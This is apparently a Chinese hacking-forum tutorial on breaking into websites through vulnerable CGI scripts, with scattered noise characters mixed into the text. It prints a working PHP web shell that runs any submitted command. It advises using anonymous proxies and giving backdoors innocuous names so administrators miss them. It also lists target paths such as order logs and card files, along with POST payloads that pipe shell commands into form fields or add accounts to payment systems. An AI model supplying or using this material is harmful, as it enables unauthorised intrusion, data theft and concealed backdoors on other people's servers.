CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
; L$ t6 V9 D( B9 X2 B* [4 l这里让我感觉 很有技术交流的感觉
5 I+ `* J2 H/ d; ^2 ?7 F我会长长来玩的
- y' [# f/ O: `5 t1 F/ i, P前言:
; Y* o8 ]3 U  N/ t2 b% b以下讲解针对欧美日本网站
, E+ h4 ]8 B7 l7 T9 T當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
6 d; `3 |  Q3 n7 ]8 Y% V5 D所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/
- f4 N8 D, _( r: d; D: t
2 c8 g0 m4 u0 y1 w只是个人在实务上一些经验
写的不好 请多多见谅喔
9 s; c: O5 ^; u9 a% }+ G在这里我简单分为几个部份一定要會的
讲解一下
让没有基础的人很容易上手
, h5 u% @+ r3 Y) j2 j3 U, t5 X
& K7 v. U' v4 _2 K/ Y  ?# z以下内容跟帖回复才能看到
==============================

7 u. z0 \4 W) y' G$ O. w+ \2 e第1部份: 何谓Shell?
/ z( G5 K0 `/ |! ]Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
% m: N. V- D) ~: A( s$ GA shell is the program which reads user input from the command line and executes actions based upon that input.
5 }! J" K$ ^/ F( N2 g意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
4 U% j, L4 `) F# V5 L/ U3 N
6 ], h% q; \5 F  q: B对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
0 u3 V4 R! P- a4 ?; O要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
6 P+ G! u5 m: i, V7 C所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
; a* E5 y+ Y, d  B' v) o2 |
/ D$ o& F1 I& b7 m1 J& t$ X$ C第2部份: Unix 指令
( u) O: h" D+ h& p以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
3 `8 P- W: i1 K# ?2 l3 k如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
' ~- r+ b9 G! n( q% i% ]! g4 y6 Mcat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
" v9 m0 E: C% \$ }  \. ]* {cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
man: 显示指令用法  
man ls: 显示ls这指令的用法  
mkdir 建立目录
4 E6 G% p' }# W4 r0 @4 v9 }& xrmdir 删除目录
mv 移动档案
# f% @" G2 o$ o  L& n. ]# [& H: T/ \' Xrm 删除档案
5 a: x! J5 G5 s9 W: [
2 k4 @  J' O$ J5 Y第3部份: Shell的使用
例如:
8 b4 u$ ]- i8 Phttp://site.com/refer.php
这是我的後门, 原代码如下:
$ U* Y) g% O9 K) s' v# n/ k5 o<Form Action="#" Method="POST">
<Input type="text" name="cmd">
- _! S$ U! a" a6 K$ w) d<Input type="Submit">
% Q# b0 a# v$ j) ~; ]* `  a</Form>
/ H$ O! Q+ R$ y. Y7 P# V<?php
: ]( y/ }% J7 n; t+ z$cmd = $_POST['cmd'];
% Z  O7 [" [1 O3 ~& {7 I$Output = shell_exec($cmd);
) u8 ]2 y& h* i" y% l0 E/ Secho $Output;
/ c5 D' Q9 ~( H& S/ q7 F?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

第4部份: 注意事项
- 使用匿名代理, 保障自己
6 S, q& {0 N6 w9 C$ T7 j- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
; }: A4 s  h+ E; D- S% L- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
4 x# ?# `% n/ [! n不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
: S/ x* L( w' |4 o4 M! d5 V; \针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
; Y2 c, o  f! M* ]: a所以我用简单的叙述形容
开始讲解脚本入侵过程:
  B$ Q$ N+ q3 d, b在这里提供一些方法思路让大家学习一下

1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
% k: r: X# R5 w2 e9 w7 t2 P$ P扫洞工具 如:triton..等等
E表
如
/cgi-bin/add-passwd.cgi
- Q2 n. H8 a- R' W& F4 r7 T/WebShop/templates/cc.txt
/Admin_files/order.log
/orders/mountain.cfg
/cgi-sys/cart.pl
/scripts/cart.pl
' t# C, m+ B* W1 e( S  z/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day

2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
ERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
$ d- A7 H' w6 Y( d3.重来来了 很多人都会问我
, o! z; S+ Q2 H+ d5 S他扫到很多洞 但是不会使用
2 ]5 N/ r  }6 C$ Y! r因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
, I7 }3 A) Q7 y, q- i或是用抓包工具 抓他的语法...等等

& s# g! x( W; g$ `2 }, u) @# c以下我提供10个 cgi 洞以及使用方法post
, a2 \7 S& Y* v- ~让大家可以针对网站去做扫描  
/index.cgi
wei=ren&gen=command
/passmaster.cgi
1 ]$ ?9 v  Y8 ]7 R! U( G: iAction=Add&Username=Username&Password=Password
. I: j9 Y5 h" w5 {$ A8 b7 f: X/accountcreate.cgi
; i) ]# P2 X* n* W0 ~username=username&password=password&ref1=|echo;ls|
/form.cgi
, B5 t" b9 V0 r+ t7 {0 R8 z% p6 aname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
9 p1 ^& ~$ |1 ]& p/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
/ccbill-local.asp
post_values=username:password
/count.cgi
. C" f" [+ y7 m+ R0 _pinfile=|echo;ls -la;exit|
& U; Z$ u% D. M- L$ j/recon.cgi
/recon.cgi?search
; k& J. v% o  V" }# T* o( n* n* _2 L# ?searchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
. X. C% C0 d/ Z9 U/af.cgi_browser_out=|echo;ls -la;exit;|
# y( b2 ~2 ^1 C
! i: A3 P! e0 @4 d3 J今天就讲到这  感谢大家支持